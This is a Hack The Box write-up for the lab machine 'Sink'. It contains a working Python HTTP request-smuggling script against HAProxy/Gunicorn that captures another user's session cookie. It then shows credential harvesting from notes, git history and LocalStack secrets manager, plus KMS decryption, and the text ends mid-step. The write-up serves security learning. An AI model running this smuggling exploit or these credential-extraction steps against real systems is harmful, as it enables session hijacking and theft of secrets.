HTB: Sink
Sink was an amazing box touching on two major exploitation concepts. First is the request smuggling attack, where I send a malformed packet that tricks the front-end server and back-end server interactions such that the next user’s request is handled as a continuation of my request. After that, I’ll find a AWS instance (localstack) and exploit various services in that, including secrets manager and the key management. In Beyond Root, I’ll look at the way this box was configured to allow for multiple users to do request smuggling at the same time.
Box Info
| Name | Sink  Play on HackTheBox |
|---|---|
| Release Date | 30 Jan 2021 |
| Retire Date | 18 Sep 2021 |
| OS | Linux  |
| Base Points | Insane [50] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
02:22:06 Tartofraise |
 |
05:18:01 xct |
| Creator |  MrR3boot |
Recon
nmap
nmap found three open TCP ports, SSH (22) and HTTP (3000 and 5000):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.225
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 14:49 EDT
Nmap scan report for 10.10.10.225
Host is up (0.062s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 107.46 seconds
oxdf@parrot$ nmap -p 22,3000,5000 -sV -sC -Oa scans/nmap-tcpscripts 10.10.10.225
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 14:46 EDT
Nmap scan report for 10.10.10.225
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=4f60e64fb9fa73b5; Path=/; HttpOnly
| Set-Cookie: _csrf=W0Ju4WvH_4TM4TmmbTAV6LeQUNE6MTYxMTMyNDcxNTkxMzU1MTUyMg; Path=/; Expires=Sat, 23 Jan 2021 14:11:55 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 22 Jan 2021 14:11:55 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=512dddee59218921; Path=/; HttpOnly
| Set-Cookie: _csrf=33nFQ5nHOOIueIYdDtPk9qzm9Ww6MTYxMTMyNDcyMTk1NDMyMDc0MA; Path=/; Expires=Sat, 23 Jan 2021 14:12:01 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 22 Jan 2021 14:12:01 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
5000/tcp open http Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=1/22%Time=600ADD2B%P=x86_64-pc-linux-gnu%r(Ge
...[snip]...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.97 seconds
Based on the OpenSSH version, the host is likely running Ubuntu Focal 20.04.
Gitea - TCP 3000
Port 3000 is hosting an instance of Gitea, a self hosted Git service.
In the explore tab, I don’t see any repositories, but there are three users:
There’s also an organization:
Those are all worth noting, but there’s not much else I can do here without creds to login.
The response headers don’t give away much information. searchsploit did have an exploit for Gitea 1.4.0, but the page indicates this is 1.14.12.
HTTP - TCP 5000
Site
The site at the root of port 5000 is a login page:
The link to Sign Up allows me to create an account, and then takes me to the Sink Devops page:
I am able to leave a comment at the bottom of the only post:
I can also delete it.
The Contact link along the top just points to /home, but the Notes link leads to /notes:
I can create notes, view, and delete them:
Stack
Looking at the response headers, there are two interesting ones that stand out:
HTTP/1.1 200 OK
Server: gunicorn/20.0.0
Date: Fri, 22 Jan 2021 14:39:01 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 4029
Vary: Cookie
Via: haproxy
X-Served-By: 5ce653e85303
The server is Gunicorn, which is commonly used to scale Python web applications. The Via header also shows haproxy. It is not uncommon to have something like HAProxy doing load balancing in front of multiple servers, and then Gunicorn managing access to the web application on each server. This post does a really nice job breaking down how different technologies fit together.
I’ll send one of the requests over to repeater in Burp and make a malformed request:
GET /notes HTTP/1.1
Host: 10.10.10.225:5000
User
On sending this, the HAProxy response gives the version:
HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html
<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>
Exploits
searchsploit didn’t return anything interesting for Gunicorn or HAProxy. Googling, I came across CVE-2020-11100, RCE in HAProxy using HTTP2, but I had a hard time finding a POC that would work here, and the bug looks very complicated.
Google also returned a blog post entitled HAProxy HTTP request smuggling (CVE-2019-18277). It’s looking at how HAProxy and Gunicorn handle the Transfer-Encoding header. This issue is where the Gunicorn development team is talking about fixing this issue, with a post on 20 Nov 2019 saying it’s been fixed. In the Gunicorn change-log, it shows the issue fixed in 20.0.1. Given that Sink is using 20.0.0, this attack should work.
Request SmugglinBackground
This PortSwigger Article does a really good job showing how HTTP Request Smuggling works. At a high level, this attack takes advantage of a case where the front-end and back-end servers break a request differently. There are two ways to delineate an HTTP request body - the Content-Length and the Transfer-Encoding headers. The Content-Length header gives the length of the body in bytes. Transfer-Encoding: chunked says that the body is broken into one or more chunks, where a chunk starts with a hex number representing the size of the chunk, then the chunk data, and the body is terminated with a chunk of size 0.
When the front-end (like HAProxy) sends data to the back-end (like Gunicorn), it can end up in one stream, leaving the back-end to break it apart based on these headers (image from PortSwigger):
If an attacker can make the two break requests in different places, they can get their information into someone else’s request (image from PortSwigger):
Shell as marcus
Leak Admin Cookie via Smuggling
Smuggling Strategy
I’m going to craft a request that will be sent on completely by the front end, but broken into a complete request and an incomplete request by the back-end, much like the image above. The next request in will end up being the completion of my incomplete request.
The issue with this specific CVE is in how HAProxy handles the 0x0b character, which is vertical tab. When I put Transfer-Encoding: \x0bchunked, HAProxy will see that as:
Transfer-Encoding:
chunked
Since they are on different lines, it will ignore this, and fall back to using the Content-Length header.
When the request reached GUnicorn, it will ignore the \x0b, and handle the request as chunked. This encoding method ignores the Content-Length and looks at chunks, where each chunk starts with a line with just the chunk length, and then the last chunk (or “terminating chunk”) is length 0.
For Sink, I will start with a simple GET and then the second partial request will be the headers for a POST request to create a note, and I’ll stop where the POST body content would start, including the note=. That will put the next request (up to the Content-Length) into the body of the POST, and create a note with it. As my account cookies are in the partial payload, the note will be created in my account. Hopefully I can see other user’s activity and perhaps even their cookies.
I want to send a request that looks like this:
GET / HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 230
Transfer-Encoding:\x0bchunked
0
POST /notes HTTP/1.1
Host: 127.0.0.1:5000
Referer: http://10.10.10.42:5000/notes
Content-Type: text/plain
Content-Length: 50
Cookie: session=eyJlbWFpbCI6IjB4ZGZAc2luay5odGIifQ.YAri4g.PYo0eJg0oYeW_8_k5QKNi2R78QM
note=
Content-Length: 230 is the length of entire body, including second request. HAProxy will send this one as one request based on the Content-Length header. Gunicorn will break it based on the chunked encoding, returning the / page to me. Content-Length: 50 is much longer than the body I’m providing, so Gunicorn will wait for more to complete the request. I don’t want it to be too long at the start, as I want to make sure the next request completes it.
Smuggling HTTP Request
I’ll write a Python script to generate this packet. I can’t use requests or modules that create well-formed HTTP requests, so I’ll use socket. First, I’ll point it back at myself to see how the request looks:
#!/usr/bin/env python3
import socket
host = "127.0.0.1"
port = 5000
body = f"""0
POST /notes HTTP/1.1
Host: {host}:{port}
Referer: http://10.10.10.225:5000/notes
Content-Type: text/plain
Content-Length: 50
Cookie: session=eyJlbWFpbCI6IjB4ZGZAc2luay5odGIifQ.YAri4g.PYo0eJg0oYeW_8_k5QKNi2R78QM
note=""".replace('\n','\r\n')
header = f"""GET / HTTP/1.1
Host: {host}:{port}
Content-Length: {len(body)}
Transfer-Encoding: \x0bchunked
""".replace('\n','\r\n')
request = (header + body).encode()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.send(request)
Sending this to myself with nc listening, I can see the request:
oxdf@parrot$ nc -lnp 5000
GET / HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 230
Transfer-Encoding:
chunked
0
POST /notes HTTP/1.1
Host: 127.0.0.1:5000
Referer: http://10.10.10.225:5000/notes
Content-Type: text/plain
Content-Length: 50
Cookie: session=eyJlbWFpbCI6IjB4ZGZAc2luay5odGIifQ.YAri4g.PYo0eJg0oYeW_8_k5QKNi2R78QM
note=
It looks good! It’s important to note that I’m giving the second request a valid session cookie so that the results show up under my notes.
Send Smuggle
Now I’ll change the host from localhost to 10.10.10.225, and give it a run. I also found it was much more reliable if I put a time.sleep(5) in before the socket closes. After the script completes, I’ll refresh the page to see if any note show up, and there’s a new one:
The contents look like the start of another request, where someone is trying to hit the /notes/delete/1234 endpoint, and based on the partial hosts header, it looks like it’s coming from Sink:
I’ll expand the Content-Length header from 50 to 300 and see if I can capture more of a request. It works:
Now I’ve got this users JWT. Over on jwt.io, it decodes to:
Gitea root Access
I’ll use the Firefox dev console to change my cookie to the admin’s cookie, and then refresh the /notes page:
Those three notes each contain creds:
| ID | Content |
|---|---|
| 1 | Chef Login : http://chef.sink.htb Username : chefadm Password : /6’fEGC&zEx{4]zz |
| 2 | Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 |
| 3 | Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK{*L.fB3C |
The creds from note 2 work to log into Gitea back on port 5000:
Find SSH Key
Looking around, the repository Key_Management jumped out as potentially interesting. I clicked on that, and then on Commits to see details on the nine commits:
I clicked through each of the commits, and the third commit (starting from the top at the most recent), Preparing for Prod, shows the deletion of a SSH private key by marcus:
A bit more digging shows that this key was added by marcus in the Adding EC2 Key Management Structure commit, the commit before this was removed.
SSH Access
The SSH private key works to get access to the box as marcus:
oxdf@parrot$ ssh -i ~/keys/sink_marcus_key marcus@10.10.10.225
...[snip]...
Last login: Mon Jan 4 10:29:50 2021 from 10.10.14.2
marcus@sink:~$
And I can grab user.txt:
marcus@sink:~$ cat user.txt
8ba26b1e************************
Shell as david
Local Enumeration
Other than user.txt, there’s not much in marcus’ homedir. Looking at the process list (ps auxww --forest), it’s clear that there are docker containers running. Under containerd, this looks to be the container running the web stuff, including HAProxy and Gunicorn:
root 954 0.1 1.0 1116848 22272 ? Ssl Jan04 35:45 /usr/bin/containerd
root 2119 0.0 0.1 110108 3020 ? Sl Jan04 2:38 \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/5ce653e853034dac6db2ed480e0721374f93d7ecf568f01746f42d2e40fdfdc4 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root 2306 0.0 0.1 63508 4008 ? Ss Jan04 13:43 | \_ /usr/bin/python /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
root 2462 0.0 1.0 106312 21736 ? S Jan04 4:10 | \_ /usr/bin/python3 /usr/local/bin/gunicorn --config=/etc/gunicorn.conf.py app:app
david 2474 0.2 1.5 133964 32112 ? S Jan04 75:42 | | \_ /usr/bin/python3 /usr/local/bin/gunicorn --config=/etc/gunicorn.conf.py app:app
systemd+ 2463 0.0 0.1 28124 2284 ? S Jan04 12:01 | \_ /home/haproxy/haproxy -f /home/haproxy/haproxy.cfg
marcus 2464 0.2 0.8 63908 17888 ? S Jan04 76:44 | \_ python3 /home/bot/bot.py
And this one (also under containerd) looks like a different container that I don’t know about yet:
root 14792 0.0 0.0 108700 1632 ? Sl Jan04 0:54 \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/28501ba00f4c4ea26dca6c7b0d13205c559376ae39c8488261e337021d03c6ab -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root 14809 0.0 0.0 2232 4 ? Ss Jan04 0:00 \_ /bin/bash /usr/local/bin/docker-entrypoint.sh
root 14868 0.0 0.0 21848 1044 ? S Jan04 6:46 \_ /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
root 14877 0.0 0.0 1160 4 ? S Jan04 0:00 | \_ make infra
root 14878 0.1 4.0 128128 82968 ? Sl Jan04 42:41 | \_ python bin/localstack start --host
root 14904 0.0 0.1 714668 2560 ? Ssl Jan04 2:50 | \_ /opt/code/localstack/localstack/infra/kms/local-kms.alpine.bin
root 14870 0.0 0.0 1568 0 ? S Jan04 2:28 \_ tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
There are two docker-proxy instances running:
root 1438 0.0 1.2 1082996 25256 ? Ssl Jan04 10:30 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 2055 0.0 0.0 548504 1852 ? Sl Jan04 0:01 \_ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.17.0.2 -container-port 8080
root 14785 0.0 0.0 623772 1908 ? Sl Jan04 1:09 \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 4566 -container-ip 172.18.0.2 -container-port 4566
The first is forwarding port 5000 to port 8080 on the container, and listening on all interfaces. That fits with the web stuff I’ve already seen.
The other one is only listening on localhost, and connecting to 4566 on the container.
The second container is also running bin/localstack. Googling for that finds LocalStack, “A fully functional local AWS cloud stack”.
LocalStack spins up the following core Cloud APIs on your local machine.
Note: Starting with version
0.11.0, all APIs are exposed via a single edge service, which is accessible on http://localhost:4566/ by default (customizable viaEDGE_PORT, see further below).
I first did an overview of AWS cloud exploitation with Bucket, and I’ve since also targeted it in Gobox.
Typing aws[tab][tab] in the shell shows the various AWS binaries on Sink:
marcus@sink:/home$ aws
aws aws_bash_completer aws.cmd aws_completer awslocal awslocal.bat aws_zsh_completer.sh
The awslocal is the same as aws, but it always talks to localhost, so I don’t have to give it a --endpoint-url parameter with each command. The command is run with the syntax awslocal [options] <command> <subcommand> [<subcommand> ...] [parameters], and there are over 200 unique commands. I need more focus as to what to target.
Git Enumeration
Back in the Gitea instance, I looked through the three active repos. The Kinesis_ElasticSearch repo seemed to have some interaction with Lambda, the AWS serverless functions offering. The Serverless-Plugin repo defines a Docker instance that connects to localstack, but I didn’t see any clues in there.
The Key_Management repo (where I found the SSH key) has more to offer, and I’ll come back to that.
The Log_Management repo has a create_logs.php script:
<?php
require 'vendor/autoload.php';
use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;
$client = new CloudWatchLogsClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => '<ACCESS_KEY_ID>',
'secret' => '<SECRET_KEY>'
],
'version' => 'latest'
]);
try {
$client->createLogGroup(array(
'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
try {
$client->createLogStream([
'logGroupName' => 'Chef_Events',
'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
?>
Looking at the history, the original version has the key and secret:
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => 'paVI8VgTWkPI3jDNkdzUMvK4CcdXO2T7sePX0ddF'
AWS Enumeration
My first instinct was to look at the cloudwatch and lambda commands. For example, awslocal lambda help gives a man page with the list of sub-commands. list-functions seemed like a good one, but it looks like that endpoint is not enabled:
marcus@sink:/home$ awslocal lambda list-functions
An error occurred (400) when calling the ListFunctions operation:
The cloudwatch command seemed to have a functioning endpoint, but I couldn’t get anything to return data:
marcus@sink:/home$ awslocal cloudwatch describe-insight-rules
Unable to parse response (not well-formed (invalid token): line 1, column 0), invalid XML received. Further retries may succeed:
b'{}'
marcus@sink:/home$ awslocal cloudwatch list-dashboards
Unable to parse response (not well-formed (invalid token): line 1, column 0), invalid XML received. Further retries may succeed:
b'{}'
In playing around with other commands, the log command had a bunch of interesting subcommands. describe-desinations failed, but describe-log-groups returned data:
marcus@sink:/home$ awslocal logs describe-log-groups
{
"logGroups": [
{
"logGroupName": "cloudtrail",
"creationTime": 1611344042023,
"metricFilterCount": 0,
"arn": "arn:aws:logs:us-east-1:000000000000:log-group:cloudtrail",
"storedBytes": 91
}
]
}
I next tried describe-log-streams, and it returns an error, saying it requires the parameter --log-group-name. I’ve got one of those from the previous query:
marcus@sink:/home$ awslocal logs describe-log-streams --log-group-name cloudtrail
{
"logStreams": [
{
"logStreamName": "20201222",
"creationTime": 1611344161523,
"firstEventTimestamp": 1126190184356,
"lastEventTimestamp": 1533190184356,
"lastIngestionTime": 1611344161544,
"uploadSequenceToken": "1",
"arn": "arn:aws:logs:us-east-1:26467:log-group:cloudtrail:log-stream:20201222",
"storedBytes": 91
}
]
}
describe-queries, describe-query-definitions, and describe-resource-policies all returned 500. describe-subscription-filters requires a --log-group-name, and on giving it, it returned that there are none.
get-log-events requires both a --log-group-name and a --log-stream-name. At this point, I only have one of each, and it returns a handful of events:
marcus@sink:/home$ awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222
{
"events": [
{
"timestamp": 1126190184356,
"message": "RotateSecret",
"ingestionTime": 1611344401544
},
{
"timestamp": 1244190184360,
"message": "TagResource",
"ingestionTime": 1611344401544
},
{
"timestamp": 1412190184358,
"message": "PutResourcePolicy",
"ingestionTime": 1611344401544
},
{
"timestamp": 1433190184356,
"message": "AssumeRole",
"ingestionTime": 1611344401544
},
{
"timestamp": 1433190184358,
"message": "PutScalingPolicy",
"ingestionTime": 1611344401544
},
{
"timestamp": 1433190184360,
"message": "RotateSecret",
"ingestionTime": 1611344401544
},
{
"timestamp": 1533190184356,
"message": "RestoreSecret",
"ingestionTime": 1611344401544
}
],
"nextForwardToken": "f/00000000000000000000000000000000000000000000000000000006",
"nextBackwardToken": "b/00000000000000000000000000000000000000000000000000000000"
}
I continued working through the logs subcommands, but didn’t find anything else useful.
Secrets Manager
The logs themselves have multiple references to secrets, and there’s one reference in the help page:
marcus@sink:/home$ awslocal help | grep -i secret
o secretsmanager
Running awslocal secretsmanager help gives a list of the commands. list-secrets jumps out as interesting.
marcus@sink:/home$ awslocal secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-NZsTy",
"Name": "Jenkins Login",
"Description": "Master Server to manage release cycle 1",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"9dc3eaf2-f7c1-4ed5-a565-e4cc66d2d662": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-lqgyE",
"Name": "Sink Panel",
"Description": "A panel to manage the resources in the devnode",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"cebb4b7c-de44-4fb5-8657-70fe8d4196d5": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-jCkwP",
"Name": "Jira Support",
"Description": "Manage customer issues",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"d8bafda3-4129-4519-8989-39a0094126d2": [
"AWSCURRENT"
]
}
}
]
}
I wasn’t sure what to do with these, but back in the help, there’s another command, get-secret-value. Running it reports that it requires --secret-id. I didn’t see ids in the output above, but looking at awslocal secretsmanager get-secret-value help, it clarifies what is needed:
--secret-id (string) Specifies the secret containing the version that you want to re- trieve. You can specify either the Amazon Resource Name (ARN) or the friendly name of the secret.
It works!
marcus@sink:/home$ awslocal secretsmanager get-secret-value --secret-id 'Jenkins Login'
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-NZsTy",
"Name": "Jenkins Login",
"VersionId": "9dc3eaf2-f7c1-4ed5-a565-e4cc66d2d662",
"SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1609756145
}
Grab the other two as well:
marcus@sink:/home$ awslocal secretsmanager get-secret-value --secret-id 'Sink Panel'
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-lqgyE",
"Name": "Sink Panel",
"VersionId": "cebb4b7c-de44-4fb5-8657-70fe8d4196d5",
"SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1609756145
}
marcus@sink:/home$ awslocal secretsmanager get-secret-value --secret-id 'Jira Support'
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-jCkwP",
"Name": "Jira Support",
"VersionId": "d8bafda3-4129-4519-8989-39a0094126d2",
"SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1609756146
}
su
Given that the last set of creds in the secrets manager is for david@sink.htb, and david is a user on the host, it’s worth checking to see if they work for that account. They do:
marcus@sink:/home$ su david -
Password:
david@sink:/home$
Shell as root
Homedir Enumeration
david’s homedir has a Projects directory with only one file in it:
david@sink:~$ find Projects/ -type f -ls
393219 4 -rw-r--r-- 1 david david 512 Jan 22 19:58 Projects/Prod_Deployment/servers.enc
Neither file nor xxd offer much of a hint as to what it is:
david@sink:~$ file Projects/Prod_Deployment/servers.enc
Projects/Prod_Deployment/servers.enc: data
david@sink:~$ xxd Projects/Prod_Deployment/servers.enc
00000000: b0b5 1d13 c8a3 0178 8acd 6ab1 2478 a4f4 .......x..j.$x..
00000010: 3173 cd15 953f b96b ccd1 abf4 5e50 a542 1s...?.k....^P.B
00000020: c808 6c41 6423 4c2e 4239 7541 66d8 e610 ..lAd#L.B9uAf...
00000030: a5e6 b64c cb8e f65a 2d34 8000 9ef9 2563 ...L...Z-4....%c
...[snip]...
Key_Management Enumeration
The Key_Management repo in Gitea has a handful of scripts. For example, listkeys.php:
<?php
require 'vendor/autoload.php';
use Aws\Kms\KmsClient;
use Aws\Exception\AwsException;
$KmsClient = new Aws\Kms\KmsClient([
'profile' => 'default',
'version' => '2020-12-21',
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566'
]);
$limit = 100;
try {
$result = $KmsClient->listKeys([
'Limit' => $limit,
]);
var_dump($result);
} catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
Just like the other stuff involving logs, this one is interacting with localstack on TCP 4566, and it’s using the Amazon Key Management System, or KMS. awslocal has a kms command:
david@sink:~$ awslocal help | grep -i kms
o kms
The subcommands include list-keys which seems like a good starting place. 11 keys come back:
david@sink:~$ awslocal kms list-keys
{
"Keys": [
{
"KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
},
{
"KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
},
{
"KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
},
{
"KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
},
{
"KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
},
{
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
},
{
"KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
},
{
"KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
},
{
"KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
},
{
"KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
},
{
"KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
}
]
}
There’s another subcommand, describe-key, that takes --key-id:
david@sink:~$ awslocal kms describe-key --key-id 16754494-4333-4f77-ad4c-d0b73d799939
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939",
"CreationDate": 1609757131,
"Enabled": false,
"Description": "Encryption and Decryption",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Disabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "RSA_4096",
"EncryptionAlgorithms": [
"RSAES_OAEP_SHA_1",
"RSAES_OAEP_SHA_256"
]
}
}
Given that I’m looking to do some decryption, finding a key with usage ENCRYPT_DECRYPT would be useful. This one has Enabled set to false.
To check out each key, I’ll get a list using grep and cut:
david@sink:~$ awslocal kms list-keys | grep KeyId | cut -d'"' -f4
0b539917-5eff-45b2-9fa1-e13f0d2c42ac
16754494-4333-4f77-ad4c-d0b73d799939
2378914f-ea22-47af-8b0c-8252ef09cd5f
2bf9c582-eed7-482f-bfb6-2e4e7eb88b78
53bb45ef-bf96-47b2-a423-74d9b89a297a
804125db-bdf1-465a-a058-07fc87c0fad0
837a2f6e-e64c-45bc-a7aa-efa56a550401
881df7e3-fb6f-4c7b-9195-7f210e79e525
c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
f0579746-10c3-4fd1-b2ab-f312a5a0f3fc
f2358fef-e813-4c59-87c8-70e50f6d4f70
I’ll loop over those, storing the description and then looking for keys that are not Disabled and printing their usage. It finds two:
david@sink:~$ awslocal kms list-keys | grep KeyId | cut -d'"' -f4 | while read id; do desc=$(awslocal kms describe-key --key-id $id); use=$(echo $desc | cut -d'"' -f26); echo $desc | grep -q Disabled || echo "$id $use"; done
804125db-bdf1-465a-a058-07fc87c0fad0 ENCRYPT_DECRYPT
c5217c17-5675-42f7-a6ec-b5aa9b9dbbde SIGN_VERIFY
Decrypt
I’ll use the one that’s intended for ENCRYPT_DECRYPT and try to decrypt the blob. This key supports both SHA1 and SHA256 based RSAES:
david@sink:~$ awslocal kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
"CreationDate": 1609757999,
"Enabled": true,
"Description": "Encryption and Decryption",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Enabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "RSA_4096",
"EncryptionAlgorithms": [
"RSAES_OAEP_SHA_1",
"RSAES_OAEP_SHA_256"
]
}
}
I’ll reference the file by the notation fileb://[path], and pass it into the decrypt subcommand:
david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --ciphertext-blob fileb://servers.enc
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
It doesn’t like it. If I specify the encryption, it works:
